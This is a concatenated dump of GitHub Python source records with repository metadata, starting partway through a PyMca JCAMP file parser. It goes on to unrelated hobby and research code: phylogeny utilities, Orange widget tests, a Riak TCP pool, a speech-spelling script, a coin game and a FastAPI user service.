= instance._header\n        except Exception:\n            _logger.warning(\"JCampFileParser cannot access '_header' attribute\")\n            fileheader=None\n        data = numpy.zeros((x.size, 2), numpy.float32)\n        data[:, 0] = x\n        data[:, 1] = y\n        self.scandata = []\n        scanheader = [\"#S %d %s\" % (2*idx + 1, title),\n                      \"#N 2\",\n                      \"#L %s  %s\" % (xLabel, yLabel)]\n        scanData = JCAMPFileScan(data,\n                                 scantype=\"SCAN\",\n                                 scanheader=scanheader,\n                                 labels=[xLabel, yLabel],\n                                 fileheader=fileheader)\n        self.scandata.append(scanData)\n        scanheader = [\"#S %d %s\" % (2*idx + 2, title)]\n        if jcampDict['XYDATA'].upper() ==  '(X++(Y..Y))':\n            # we can deal with the X axis via its calibration\n            scanheader.append(\"#@CHANN %d  %d  %d  1\" % (len(x), 0, len(x) - 1))\n            scanheader.append(\"#@CALIB %f %f 0\" % (x[0], x[1] - x[0]))\n            scantype = \"MCA\"\n        scanData = JCAMPFileScan(data, scantype=\"MCA\",\n                                                      scanheader=scanheader,\n                                                      #labels=[xLabel, yLabel],\n                                                      fileheader=fileheader)\n        self.scandata.append(scanData)\n        self.__lastEntryData = idx\n\n    def __getitem__(self, item):\n        if item < 0:\n            item = self.scanno() - item\n        idx = item // 2\n        self._parseEntryData(idx)\n        return self.scandata[item % 2]\n\n    def list(self):\n        return '1:%d' % self.scanno()\n\n    def scanno(self):\n        return len(self.scandata) * len(self._scanLimits)\n\nclass JCAMPFileScan(SpecFileAbstractClass.SpecFileAbstractScan):\n    def __init__(self, data, scantype=\"SCAN\",\n                 scanheader=None, labels=None, fileheader=None):\n        SpecFileAbstractClass.SpecFileAbstractScan.__init__(self, data,\n                            scantype=scantype, scanheader=scanheader,\n                            labels=labels)\n        self._data = data\n        self._fileHeader = fileheader\n\n    def fileheader(self, key=''):\n        return self._fileHeader\n\n    def nbmca(self):\n        if self.scantype == 'SCAN':\n            return 0\n        else:\n            return 1\n\n    def mca(self, number):\n        if number not in [1]:\n            raise ValueError(\"Specfile mca numberig starts at 1\")\n        return self._data[:, number]\n\ndef isJcampFile(filename):\n    return JcampReader.isJcampFile(filename)\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(\"Usage: python JCAMPFileParser.py filename\")\n        sys.exit(0)\n    print(\" isJCAMPFile = \", isJcampFile(sys.argv[1]))\n    sf = JcampFileParser(sys.argv[1])\n    print(\"nscans = \", sf.scanno())\n    print(\"list = \", sf.list())\n    print(\"select = \", sf.select(sf.list()[0]))\n","repo_name":"vasole/pymca","sub_path":"PyMca5/PyMcaIO/JcampFileParser.py","file_name":"JcampFileParser.py","file_ext":"py","file_size_in_byte":7165,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"35"}
{"seq_id":"34550201974","text":"from defs import *\r\nimport gzip, tarfile, shutil\r\n\r\n\r\ndef targz_dir(outer_dir, dirs_list, dest_zip_filename, delete_after_zipping):\r\n    \"\"\"\r\n    Compress data from multiple directories to a single .targz file\r\n    :param outer_dir: where the output file should be written to\r\n    :param dirs_list: the directories names to be compressed\r\n    :param dest_zip_filename: name of output file\r\n    :param delete_after_zipping: True or False\r\n    :return: NA\r\n    \"\"\"\r\n    cwd = os.getcwd()\r\n    os.chdir(outer_dir)\r\n    tarw = tarfile.open(dest_zip_filename, \"w:gz\")\r\n    for dirname in dirs_list:\r\n        if os.path.exists(dirname):\r\n            tarw.add(dirname)\r\n    tarw.close()\r\n    if delete_after_zipping:\r\n        for dirname in dirs_list:\r\n            try:\r\n                shutil.rmtree(dirname)\r\n            except Exception as e1:\r\n                print(e1)\r\n                pass\r\n    os.chdir(cwd)\r\n\r\n\r\ndef untargz(zip_file_dest, delete_after_extracting=False):\r\n    \"\"\"\r\n    De-compress file\r\n    :param zip_file_dest: where to unpack the zipped file\r\n    :param delete_after_extracting: True or False\r\n    :return: NA\r\n    \"\"\"\r\n    dirpath, zip_filename = os.path.split(zip_file_dest)\r\n    cwd = os.getcwd()\r\n    os.chdir(dirpath)\r\n    tarx = tarfile.open(zip_file_dest, \"r:gz\")\r\n    tarx.extractall(dirpath)\r\n    tarx.close()\r\n    os.chdir(cwd)\r\n    if delete_after_extracting:\r\n        os.remove(zip_file_dest)\r\n\r\n\r\ndef average(lst):\r\n    \"\"\"\r\n    Calculates the average of a given list\r\n    :param lst: list of numbers\r\n    :return: average value\r\n    \"\"\"\r\n    return sum(lst) / len(lst)\r\n\r\n\r\ndef range_of_lst(lst):\r\n    \"\"\"\r\n    calculates the range of a given list\r\n    :param lst: list of numbers\r\n    :return: max-min\r\n    \"\"\"\r\n    return max(lst) - min(lst)\r\n\r\n\r\ndef fix_simulated_tree_file(tree_file):\r\n    \"\"\"\r\n    a patch that adds a semicolon at the end of .phr tree (simulated tree) so the can tree can be read\r\n    :param tree_file:\r\n    :return: NA\r\n    \"\"\"\r\n    with open(tree_file, \"a\") as add:\r\n        add.write(\";\")\r\n\r\n\r\ndef create_counts_hash(counts_file):\r\n    \"\"\"\r\n    puts all counts from a counts file in a dictionary: taxa_name: count. Taxa with an X count are skipped.\r\n    If there are counts that are X the function returns two hashes and a set of the taxa to prune.\r\n    :param counts_file in FASTA format\r\n    :return:(2) dictionary of counts\r\n    \"\"\"\r\n    d = {}\r\n    with open(counts_file, \"r\") as counts_handler:\r\n        for line in counts_handler:\r\n            line = line.strip()\r\n            if line.startswith('>'):  # taxon name\r\n                name = line[1:]\r\n            else:\r\n                if line != \"x\":\r\n                    num = int(line)\r\n                    d[name] = num\r\n    return d\r\n\r\n\r\ndef regex_internal(str):\r\n    \"\"\"\r\n    extracts the number from the internal node's name from a phylogeny, in a NX-XX format. Used in get_max_transition(tree_file)\r\n    :param str: internal node's label\r\n    :return: count of node\r\n    \"\"\"\r\n    tmp = re.search(\"N\\d+\\-(\\d+)\", str)\r\n    if tmp:\r\n        num = int(tmp.group(1))\r\n    return num\r\n\r\n\r\ndef regex_tip(str):\r\n    \"\"\"\r\n    extracts the number from a tip label in a phylogeny\r\n    :param str: tip label\r\n    :return: count of tip\r\n    \"\"\"\r\n    tmp = re.search(\"(\\d+)\", str)\r\n    if tmp:  # there is a number at the tip, and not X\r\n        num = int(tmp.group(1))\r\n    return num\r\n\r\n\r\ndef get_max_transition(tree_file):\r\n    \"\"\"\r\n    searches for the largest transition that was made on the phylogeny itself, between internal node and tip, or between internal nodes. Used in base_num_models.py\r\n    :param tree_file: phylogeny file\r\n    :return: a number representing the maximal transition on the tree\r\n    \"\"\"\r\n    t = Tree(tree_file, format=1)\r\n    max_transition = 0\r\n    for node in t.traverse():\r\n        if node.name == \"\":\r\n            continue\r\n        if not node.is_leaf():\r\n            num1 = regex_internal(node.name)\r\n            for child in node.get_children():\r\n                if child.is_leaf():  # if the child is a tip - parse number from tip label\r\n                    num2 = regex_tip(child.name)\r\n                else:  # if the child is an internal node - take number\r\n                    num2 = regex_internal(child.name)\r\n                tmp_score = abs(num1 - num2)\r\n                if max_transition < tmp_score:\r\n                    max_transition = tmp_score\r\n    return max_transition\r\n\r\n\r\ndef copy_files(src, dest, files=None):\r\n    \"\"\"\r\n    copy all files from source directory to destination directory. Used when re-running BASE NUM models, to keep previous results\r\n    :param src: source directory\r\n    :param dest: destination directory\r\n    :param files: a list of specific files to be copied\r\n    :return: NA\r\n    \"\"\"\r\n    src_files = os.listdir(src)\r\n    if not os.path.exists(dest):\r\n        os.mkdir(dest)\r\n    if files is not None:\r\n        src_files = files\r\n    for file_name in src_files:\r\n        full_src_file_name = src + file_name\r\n        full_dest_file_name = dest + file_name\r\n        if os.path.isfile(full_src_file_name):\r\n            shutil.copy(full_src_file_name, full_dest_file_name)\r\n\r\n\r\ndef extract_line_from_file(filename, str_search, num=False, integer=False):\r\n    \"\"\"\r\n    uses regular expression to search a string in a file\r\n    :param filename: the file to be searched in\r\n    :param str_search: the string to search for\r\n    :param num: should a number be extracted?\r\n    :param integer: should an integer be returned? if False and num=True then a float will be returned\r\n    :return: True/False for a sentence\r\n                integer if num=True and integer=True\r\n                float if num=True and integer=False\r\n    \"\"\"\r\n    with open(filename, \"r\") as fh:\r\n        for line in fh:\r\n            line = line.strip()\r\n            if num:\r\n                tmp = re.search(str_search + \".*?(\\d+)\", line)\r\n                if tmp:\r\n                    return int(tmp.group(1)) if integer else float(tmp.group(1))\r\n            else:\r\n                tmp = re.search(str_search, line)\r\n                if tmp:\r\n                    return True\r\n        return False\r\n\r\n\r\ndef n_folders_lst(n):\r\n    \"\"\"\r\n    used to targz all simulations to a single file\r\n    :return: list with names of folders from 0 to n\r\n    \"\"\"\r\n    lst = []\r\n    for i in range(n):\r\n        lst.append(str(i))\r\n    return lst\r\n\r\n\r\ndef print_error(msg, exception=\"\", sep=\"*****\"):\r\n    print(sep)\r\n    print(msg, \"\\n\")\r\n    print(sep)\r\n    if exception is not \"\":\r\n        print(exception)\r\n        print(sep)\r\n","repo_name":"MayroseLab/ChromevolScripts","sub_path":"Model_Adequacy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75104321380","text":"from comparators.morphologic_comparator import MorphologicComparator\nfrom text.text_searcher import TextSearcher\n\n\nclass BachelorPadExtractor:\n    attribute_name = 'bachelor pad'\n\n    def __call__(self, description: str):\n        phrases_to_look_for = ['kawalerka', 'studio', 'garsoniera', 'jednopokojowe', '1-pokojowe', '1 pokojowe', 'jedno pokojowe']\n\n        comparator = MorphologicComparator().equals\n\n        for phrase in phrases_to_look_for:\n            found, _ = TextSearcher.find(\n                phrase_to_find=phrase,\n                text=description,\n                equality_comparator=comparator)\n\n            if found:\n                return {True}\n\n        return {False}\n","repo_name":"jakubgros/FlatFinder","sub_path":"src/parsers/bachelor_pad_extractor.py","file_name":"bachelor_pad_extractor.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33998663324","text":"# Test methods with long descriptive names can omit docstrings\n# pylint: disable=missing-docstring, protected-access\n\nimport numpy as np\nimport scipy.sparse as sp\n\nfrom AnyQt.QtCore import QRectF, QPointF\n\nfrom Orange.data import Table, DiscreteVariable, ContinuousVariable, Domain\nfrom Orange.widgets.data import owpaintdata\nfrom Orange.widgets.data.owpaintdata import OWPaintData\nfrom Orange.widgets.tests.base import WidgetTest, datasets\n\n\nclass TestOWPaintData(WidgetTest):\n    def setUp(self):\n        self.widget = self.create_widget(\n            OWPaintData, stored_settings={\"autocommit\": True}\n        )  # type: OWPaintData\n\n    def test_empty_data(self):\n        \"\"\"No crash on empty data\"\"\"\n        data = Table(\"iris\")\n        self.send_signal(self.widget.Inputs.data, data)\n        self.send_signal(self.widget.Inputs.data, Table(data.domain))\n\n    def test_nan_data(self):\n        data = datasets.missing_data_2()\n        self.send_signal(self.widget.Inputs.data, data)\n\n    def test_output_shares_internal_buffer(self):\n        data = Table(\"iris\")[::5]\n        self.send_signal(self.widget.Inputs.data, data)\n        output1 = self.get_output(self.widget.Outputs.data)\n        output1_copy = output1.copy()\n        self.widget._add_command(owpaintdata.SelectRegion(QRectF(0.25, 0.25, 0.5, 0.5)))\n        self.widget._add_command(owpaintdata.MoveSelection(QPointF(0.1, 0.1)))\n        output2 = self.get_output(self.widget.Outputs.data)\n        self.assertIsNot(output1, output2)\n\n        np.testing.assert_equal(output1.X, output1_copy.X)\n        np.testing.assert_equal(output1.Y, output1_copy.Y)\n\n        self.assertTrue(np.any(output1.X != output2.X))\n\n    def test_20_values_class(self):\n        domain = Domain(\n            [ContinuousVariable(\"A\"), ContinuousVariable(\"B\")],\n            DiscreteVariable(\"C\", values=[chr(ord(\"a\") + i) for i in range(20)]),\n        )\n        data = Table(domain, [[0.1, 0.2, \"a\"], [0.4, 0.7, \"t\"]])\n        self.send_signal(self.widget.Inputs.data, data)\n\n    def test_sparse_data(self):\n        \"\"\"\n        Show warning msg when data is sparse.\n        GH-2298\n        GH-2163\n        \"\"\"\n        data = Table(\"iris\")[::25]\n        data.X = sp.csr_matrix(data.X)\n        self.send_signal(self.widget.Inputs.data, data)\n        self.assertTrue(self.widget.Warning.sparse_not_supported.is_shown())\n        self.send_signal(self.widget.Inputs.data, None)\n        self.assertFalse(self.widget.Warning.sparse_not_supported.is_shown())\n\n    def test_load_empty_data(self):\n        \"\"\"\n        It should not crash when old workflow with no data is loaded.\n        GH-2399\n        \"\"\"\n        self.create_widget(OWPaintData, stored_settings={\"data\": []})\n","repo_name":"BioDepot/BioDepot-workflow-builder","sub_path":"orange3/Orange/widgets/data/tests/test_owpaintdata.py","file_name":"test_owpaintdata.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"35"}
{"seq_id":"73468241060","text":"import speech_recognition as sr\nimport os\nimport random\nimport time\n\ndef recognize_speech_from_mic(recognizer, microphone):\n    if not isinstance(recognizer, sr.Recognizer):\n        raise TypeError(\"`recognizer` must be `Recognizer` instance\")\n\n    if not isinstance(microphone, sr.Microphone):\n        raise TypeError(\"`microphone` must be `Microphone` instance\")\n\n    with microphone as source:\n        recognizer.adjust_for_ambient_noise(source)\n        audio = recognizer.listen(source)\n\n    response = {\n        \"success\": True,\n        \"error\": None,\n        \"transcription\": None\n    }\n    try:\n        response[\"transcription\"] = recognizer.recognize_google(audio)\n    except sr.RequestError:\n        # API was unreachable or unresponsive\n        response[\"success\"] = False\n        response[\"error\"] = \"API unavailable\"\n    except sr.UnknownValueError:\n        # speech was unintelligible\n        response[\"error\"] = \"Unable to recognize speech\"\n    return response\n\ndef spellWord(word):\n    leng = len(word)\n    n = 0\n    os.system(\"say \" + word)\n    while n<leng:\n        if word[n] == ' ':\n            os.system(\"say space\")\n        else:\n            os.system(\"say \" + word[n])\n        n+=1\n    os.system(\"say \" + word)\n\n    \nif __name__ == \"__main__\":\n    recognizer = sr.Recognizer()\n    microphone = sr.Microphone()\n    print(\"Working...\")\n    time.sleep(1)\n\n    print(\"Say the word you want to spell.\")\n    said = recognize_speech_from_mic(recognizer,microphone)\n    if said[\"transcription\"]:\n        print(\"you said \", said[\"transcription\"])\n        word = said[\"transcription\"].lower()\n        spellWord(word)","repo_name":"AkshatAdsule/assistant","sub_path":"howToSpell.py","file_name":"howToSpell.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"43050176951","text":"import re\nfrom bb_sub import *\n\nwith open('markdown.txt', 'rb') as mkdwn:\n    markdown_string = mkdwn.read().decode()\n\nbbcode = bbify(markdown_string)\n\nwith open(\"bbcode.txt\", 'w') as bbcd:\n    bbcd.write(bbcode)\n\n\n\n\n\n\n\n\n\n\n\n# Possibly remove?\n# Break markdown into segments and classify each segment.\n# `segments` contains data in the following format:\n#\n# <index>(int): {<classifier>(str): <segment>(str)}\n#\n# e.g. \"# Title Text\" would be stored as:\n#\n# 0: {header_1: 'Title Text'}\n\n# segments = {}\n# seg_index = 0\n# bbcode_string = ''\n# for line in markdown_string.split('\\n'):\n#     # HEADERS\n#     header_tag = re.search(\"^#.*\", line) # Finds all header lines\n#     if header_tag:\n#         count = header_tag.group(0).count('#') # Number of '#' refers to size of header\n        \n        \n#         # segments[seg_index] = {\"header_%d\" % count: line.split('\\r')[0]}\n#     # BOLD\n#     bold_tag = re.search(\"\\*\\*.*\\*\\*\", line)\n#     if bold_tag:\n        \n\n    \n    ","repo_name":"HuoKnight/Markdown2BBcode","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33200914114","text":"import os\n\n\nlogs_path = \"data/logs\"\nlog_dirs = os.listdir(logs_path)\nfor log_dir in log_dirs:\n    if log_dir.find(\"gamma0\") != -1:\n        old_path = os.path.join(logs_path, log_dir)\n        new_name = log_dir.replace(\"gamma0\", \"gamma-0\")\n        new_path = os.path.join(logs_path, new_name)\n        os.rename(old_path, new_path)\n","repo_name":"nemanja1995/reinforcement-learning","sub_path":"src/data_utils/fix_data.py","file_name":"fix_data.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14869901157","text":"import errno\nimport socket\n\nfrom riak.transports.pool import Pool, ConnectionClosed\nfrom riak.transports.tcp.transport import TcpTransport\n\n\nclass TcpPool(Pool):\n    \"\"\"\n    A resource pool of TCP transports.\n    \"\"\"\n    def __init__(self, client, **options):\n        super(TcpPool, self).__init__()\n        self._client = client\n        self._options = options\n\n    def create_resource(self):\n        node = self._client._choose_node()\n        return TcpTransport(node=node,\n                            client=self._client,\n                            **self._options)\n\n    def destroy_resource(self, tcp):\n        tcp.close()\n\n\n# These are a specific set of socket errors\n# that could be raised on send/recv that indicate\n# that the socket is closed or reset, and is not\n# usable. On seeing any of these errors, the socket\n# should be closed, and the connection re-established.\nCONN_CLOSED_ERRORS = (\n    errno.EHOSTUNREACH,\n    errno.ECONNRESET,\n    errno.ECONNREFUSED,\n    errno.ECONNABORTED,\n    errno.ETIMEDOUT,\n    errno.EBADF,\n    errno.EPIPE\n)\n\n\ndef is_retryable(err):\n    \"\"\"\n    Determines if the given exception is something that is\n    network/socket-related and should thus cause the TCP connection to\n    close and the operation retried on another node.\n\n    :rtype: boolean\n    \"\"\"\n    if isinstance(err, ConnectionClosed):\n        # NB: only retryable if we're not mid-streaming\n        if err.mid_stream:\n            return False\n        else:\n            return True\n    elif isinstance(err, socket.error):\n        code = err.args[0]\n        return code in CONN_CLOSED_ERRORS\n    else:\n        return False\n","repo_name":"basho/riak-python-client","sub_path":"riak/transports/tcp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":323,"dataset":"github-code","pt":"35"}
{"seq_id":"72638067942","text":"# candidate idea for extra credit problem involving recursion.\n#\n# This will be a reading exercise to trace through a recursive function\n#\n# Part 1: play this game with the student until they see invariant that needs to be maintained\n# at every round is coins left is divisible by 4. This serves as an intuitive basis for\n# understanding the play_one_round function\n#\n# Part 2: \n# In the play_one_round, the computer player always takes one coin when it detects it will\n# lose. Have student identify where this is occurring and have them change it to\n# randomly pick 1,2,or3 coins\n#\n# Part 3:\n# There's only one round of play\n# Modify play_game so that after a game is finished, the user is prompted to play another game\n# Play another game is the user responds yes.\n#\n# Ultimately, I decided this isn't a good candidate for a student exercise, but keeping around\n# in case I get an idea for it.\n\ndef play_one_round(n):\n    print('There are ' + str(n) +' coins on the table.')\n    coins_to_remove = int(input('How many coins do you want to remove: 1, 2, or 3?'))\n    if coins_to_remove > 3:\n        coins_to_remove = 3\n    if coins_to_remove < 1:\n        coins_to_remove = 1\n    print(\"You took \" + str(coins_to_remove) + \" coins\")\n    if coins_to_remove >= n:\n        print(\"You cleared the table\")\n        return True\n    coins_left = n - coins_to_remove\n    if coins_left <= 3:\n        print(\"I take \" + str(coins_left) + \" coins. There are no more coins.\")\n        return False\n    else:\n        if coins_left % 4 == 0:\n            print(\"I take one coin\")\n            coins_left -= 1\n        else:\n            print(\"I take \" + str(coins_left % 4) + \" coin(s)\")\n            coins_left -= coins_left % 4\n    return play_one_round(coins_left)\n\ndef play_game(n):\n    if n <= 0:\n        print('There are no coins, so there is no game.')\n        return\n    print('The goal is to take the last coin from the table.')\n    result = play_one_round(n)\n    if result:\n        print('You win!')\n    else:\n        print('You lost!')\n\nplay_game(21)\n","repo_name":"leejoon/combinatorial-games","sub_path":"countdown_to_21.py","file_name":"countdown_to_21.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15200399818","text":"class PersonalAssistant:\n    def __init__(self):\n        self.task_automation = None\n        self.personal_assistance = None\n        self.training_and_guidance = None\n\n    def assist(self, task):\n        # Assist with the given task\n        if task == 'task automation':\n            self.task_automation = 'Task automation in progress, automating repetitive tasks such as file management, updates, and organizing data'\n            return self.task_automation\n        elif task == 'personal assistance':\n            self.personal_assistance = 'Personal assistance in progress, acting like a virtual friend, providing reminders, help with scheduling, and offering social interaction'\n            return self.personal_assistance\n        elif task == 'training and guidance':\n            self.training_and_guidance = 'Training and guidance in progress, offering personalized training courses, tutorials, and step-by-step guides on various subjects and software tools'\n            return self.training_and_guidance\n        else:\n            return 'Invalid task'","repo_name":"shadowaxe99/C3PI","sub_path":"src/personal_assistant.py","file_name":"personal_assistant.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73640031779","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.special import factorial\n\nk = 500 # number of generations\np = 100 # number of individuals\nt = 0.01 # unit time, e.g., 1 second\n\nx = np.arange(1, 11)\n\ny1 = factorial(x) * t # brute-force solver\ny2 = x * p * k * t # GA solver\n\ny1 = y1 / (3600)\ny2 = y2 / (3600)\n\nfontsize = 15\nlinewidth = 2\n\nfig, ax = plt.subplots()\n\nax.plot(x, y1, linewidth=linewidth, label='Brute-force Solver')\nax.plot(x, y2, linewidth=linewidth, label='GA Solver')\n\nplt.xlabel('The number of tasks', fontsize=fontsize)\nplt.ylabel('Time complexity (unit time)', fontsize=fontsize)\nplt.xticks( fontsize=fontsize)\nplt.yticks( fontsize=fontsize)\nplt.grid()\n\nlegend = plt.legend(bbox_to_anchor=(-0.07, 0.96, 1.1,1), loc=3, shadow=False,mode='expand',ncol=6,fontsize='x-large',frameon=False)\n\nplt.show()\nfig.set_size_inches(5, 3)\nplt.subplots_adjust(\n    left=0.15,\n    bottom=0.2,\n    right=0.992,\n    top=0.848,\n    wspace=0.2,\n    hspace=0.2,\n)\nfig.show()\nfig.savefig(\"complexity.pdf\")\n","repo_name":"YuboLuo/smartswitch","sub_path":"plot/system_evaluation/plot_GA_complexity.py","file_name":"plot_GA_complexity.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29235741128","text":"import unittest\nfrom classes.GEDCOM_Reporting import Report, ReportDetail\nfrom classes.GEDCOM_Units import GEDCOMUnit, Individual, Family\n\nclass TestNoMarriageToDescendants(unittest.TestCase):\n    def test_no_marriage_to_descendants_no_issues(self):\n        testReport: Report = Report()\n        i1 = Individual(\"I1\", \"John Doe\", \"M\", None, None, None, [\"F1\"])\n        i2 = Individual(\"I2\", \"Jane Smith\", \"F\", None, None, None, [\"F1\"])\n        i3 = Individual(\"I3\", \"Child 1\", \"F\", None, None, \"F1\", None)\n\n        f1 = Family(\"F1\", \"I1\", \"I2\", [\"I3\"], None, None)\n\n        testReport.addToReport(i1)\n        testReport.addToReport(i2)\n        testReport.addToReport(i3)\n        testReport.addToReport(f1)\n\n        testReport.no_marriage_to_descendants()\n\n        # Assert that there are no descendant marriages\n        self.assertEqual(len(testReport.anomalies), 0)\n\n\n    def test_marriage_to_descendant(self):\n        testReport: Report = Report()\n        i1 = Individual(\"I1\", \"John Doe\", \"M\", None, None, None, [\"F1\"])\n        i2 = Individual(\"I2\", \"Jane Smith\", \"F\", None, None, None, None)\n        i3 = Individual(\"I3\", \"Child 1\", \"F\", None, None, \"F1\", [\"F1\"])\n\n        f1 = Family(\"F1\", \"I1\", \"I3\", [\"I3\"], None, None)\n\n        testReport.addToReport(i1)\n        testReport.addToReport(i2)\n        testReport.addToReport(i3)\n        testReport.addToReport(f1)\n\n        testReport.no_marriage_to_descendants()\n\n        # Assert that there are no descendant marriages\n        self.assertEqual(len(testReport.anomalies), 1)\n        self.assertEqual(testReport.anomalies[0].detailType, \"Marriage to Descendant\")\n        self.assertEqual(testReport.anomalies[0].message, \"I1 is married to descendant, I3.\")","repo_name":"WBot3000/gedcom_parser","sub_path":"tests/US17_Tests.py","file_name":"US17_Tests.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11038735909","text":"import cv2\nimport numpy as np\nimport os\nimport sys\nvideo_capture = cv2.VideoCapture(0)\n\ntry:\n\tdirectory = './Images/' + sys.argv[1] \nexcept:\n\tprint('\\nPlease provide an argument')\n\tprint('\\nExiting...\\n')\n\tquit()\n\nif not os.path.exists(directory):\n\tos.makedirs(directory)\n\nx = 750 #top left x of box\ny = 50  #top left y of box\nh = 400 #height of box\nw = 400 #width of box\n\nk = None #key press variable\nb = 0 #to check if space has been pressed\ncount = 0\nwhile True:\n\t_, frame = video_capture.read()\n\tframe = cv2.flip(frame,1)\n\tcv2.rectangle(frame, (x,y), (x+w,y+h), (0,255,255), 5)\n\troi = frame[y:y+h,x:x+w] #we get the region of interest\n\troi = cv2.cvtColor(roi,cv2.COLOR_BGR2GRAY) #convert it to grayscale\n\t_, mask = cv2.threshold(roi, 230,255,cv2.THRESH_OTSU) #use OTSU to convert grayscale to monochrome by thresholding\n\tmask = cv2.bitwise_not(mask) #flip the mask\n\tblurred = cv2.medianBlur(mask, 7) #apply median blur for smoothing of edges.\n\tkernel = np.ones((5,5), np.uint8)\n\timg_dilation = cv2.dilate(blurred, kernel, iterations=1) #apply dilation\n\tframe[y:y+h,x:x+w,0] = img_dilation\n\tframe[y:y+h,x:x+w,1] = img_dilation\n\tframe[y:y+h,x:x+w,2] = img_dilation\n\tcv2.imshow('Video', frame)\n\tif count<300 and b:\n\t\tpath = directory + '/' + sys.argv[1] +str(count) + '.jpeg'\n\t\tcv2.imwrite(path, img_dilation)\n\t\tcount+=1\n\t# cv2.imshow('Mask', mask)\n\t# cv2.imshow('blurred', blurred)\n\tk = cv2.waitKey(1) & 0xFF\n\tif k == 32:  #Press space to start capturing frames.\n\t\tb = 1\n\tif k == ord('q'):\n\t\tbreak \nvideo_capture.release()\ncv2.destroyAllWindows()","repo_name":"HJ899/gesture-detection-cnn","sub_path":"dataset_maker.py","file_name":"dataset_maker.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9188182660","text":"import datetime\r\n\r\nfrom fastapi import HTTPException, status\r\n\r\nfrom app.v1.model.user_model import User as UserModel\r\nfrom app.v1.model.pets_model import Pets as PetsModel\r\nfrom app.v1.model.request_model import Request as RequestModel\r\nfrom app.v1.schema import user_schema\r\n\r\n\r\ndef create_user(user: user_schema.UserBase):\r\n    get_user = UserModel.filter(UserModel.email == user.email).first()\r\n    if get_user:\r\n        if get_user.email == user.email:\r\n            msg = \"Correo ya existente\"\r\n        raise HTTPException(\r\n            status_code=status.HTTP_400_BAD_REQUEST,\r\n            detail=msg\r\n        )\r\n\r\n    db_user = UserModel(\r\n        name = user.name,\r\n        last_name = user.last_name,\r\n        phone = user.phone,\r\n        email = user.email,\r\n        address= user.address\r\n    )\r\n\r\n    db_user.save()\r\n\r\n    return user_schema.User(\r\n        id = db_user.id,\r\n        name = db_user.name,\r\n        last_name = db_user.last_name,\r\n        phone = db_user.phone,\r\n        email = db_user.email,\r\n        address= db_user.address\r\n    )\r\n\r\ndef get_user(email: str):\r\n    user = UserModel.filter((UserModel.email== email)).first()\r\n\r\n    if not user:\r\n        raise HTTPException(\r\n            status_code=status.HTTP_404_NOT_FOUND,\r\n            detail=\"Usuario no encontrado\"\r\n        )\r\n\r\n    return user_schema.User(\r\n        id = user.id,\r\n        name = user.name,\r\n        last_name = user.last_name,\r\n        phone = user.phone,\r\n        email = user.email,\r\n        address= user.address\r\n    )\r\n\r\ndef update_user(email: str, name: str, last_name: str, phone: int, address: str):\r\n    user = UserModel.filter(UserModel.email == email).first()\r\n    if not user :\r\n        raise HTTPException(\r\n            status_code= status.HTTP_404_NOT_FOUND,\r\n            detail= \"Usuario no encontrado\"\r\n        )\r\n    user.name = name\r\n    user.last_name = last_name\r\n    user.phone = phone\r\n    user.address = address\r\n    user.modified_at = datetime.datetime.now()\r\n\r\n    user.save()\r\n\r\n    return user_schema.User(\r\n        id = user.id,\r\n        email= user.email,\r\n        name = user.name,\r\n        last_name = user.last_name,\r\n        phone = user.phone,\r\n        address= user.address\r\n    )\r\n\r\ndef get_list_users_admin():\r\n    list_users = []\r\n    for i in range(0, 100):\r\n        user = UserModel.filter((UserModel.id ==i)).first()\r\n        if user is None:\r\n            i += 1\r\n        else:\r\n            list_users.append(user_schema.User(\r\n                id = user.id,\r\n                email= user.email,\r\n                name = user.name,\r\n                last_name = user.last_name,\r\n                phone = user.phone,\r\n                address= user.address\r\n            )\r\n        )\r\n    return list_users\r\n\r\n\r\ndef delete_user(id_user: int):\r\n    user = UserModel.filter((UserModel.id == id_user)).first()\r\n    pets = PetsModel.filter((PetsModel.user == id_user)).first()\r\n    request = RequestModel.filter((RequestModel.user == id_user)).first()\r\n\r\n    if pets or request is not None:\r\n        raise HTTPException(\r\n            status_code= status.HTTP_400_BAD_REQUEST,\r\n            detail= \"Usuario no puede ser eliminado, posee mascotas o solicitudes\"\r\n        )\r\n\r\n    if not user:\r\n        raise HTTPException(\r\n            status_code= status.HTTP_404_NOT_FOUND,\r\n            detail= \"Usuario no encontrado\"\r\n        )\r\n\r\n    user.delete_instance()\r\n","repo_name":"Juanma1023/pet_adoption_api","sub_path":"App/v1/service/user_service.py","file_name":"user_service.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
